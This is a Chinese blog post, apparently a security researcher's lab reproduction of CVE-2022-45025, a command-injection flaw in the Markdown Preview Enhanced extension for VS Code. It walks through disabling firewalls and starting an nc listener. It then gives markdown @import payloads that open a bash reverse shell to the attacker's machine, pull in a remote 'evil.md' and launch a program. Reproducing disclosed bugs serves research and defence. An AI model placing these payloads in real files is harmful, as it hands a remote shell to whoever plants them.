前言
昨天乌克兰安全研究员Yurii Sanin
公开了漏洞CVE-2022-45025
的漏洞细节,这里来个简单的复现。该漏洞是利用了VScode
/Atom
的Markdown Preview Enhanced for VSCode
插件中的代码漏洞从而实现命令注入。
希望大家给个关注+点赞+在看!我不胜感激!加我微信W01fh4cker,拉交流群~
复现步骤
本文以Ubuntu
为靶机,Kali
为攻击机进行演示。Ubuntu
的IP
:192.168.3.6
;Kali
的IP
:192.168.3.16
。
现在Kali
中关闭防火墙并启动nc
监听:
sudo ufw disable
nc -nlvp 9999
然后在Ubuntu
上执行如下命令:
sudo ufw disable
touch test.md
然后用VScode
打开该markdown
文件,并确保VScode
上面安装了Markdown Preview Enhanced for VSCode
插件,如下图所示:
然后我们在test.md
中输入以下内容:
<!-- @import "$(bash -c 'bash -i >& /dev/tcp/192.168.3.16/9999 0>&1'| exit 0) new.pdf"-->
# W01fh4cker hhh
保存之后,点击右上角的第一个图标,也就是预览功能:
此时回到kali
中,即可看到反弹shell
成功:
拓展
除了以上这些操作以外,我们也可以导入外部资源:
<!-- @import "https://www.test.com/evil.md" -->
# W01fh4cker hhh
如果是Mac
的话,还可以打开计算器:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
漏洞代码来源
出问题的代码在这里:
https://github.com/shd101wyy/mume/blob/7135d7606a6a57de6e2372c26a2f16bb98ecf2b2/src/pdf.ts
由于没有对pdfFilePath
参数的输入内容进行控制,因此我们传入恶意命令,参数拼接起来加上开启了 { shell: true }
,从而导致了命令执行漏洞的产生。
参考资料
https://xz.aliyun.com/t/11791
https://github.com/yuriisanin/CVE-2022-45025
原文始发于微信公众号(追梦信安):【漏洞复现】利用Vscode插件漏洞反弹shell(cve-2022-45025)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论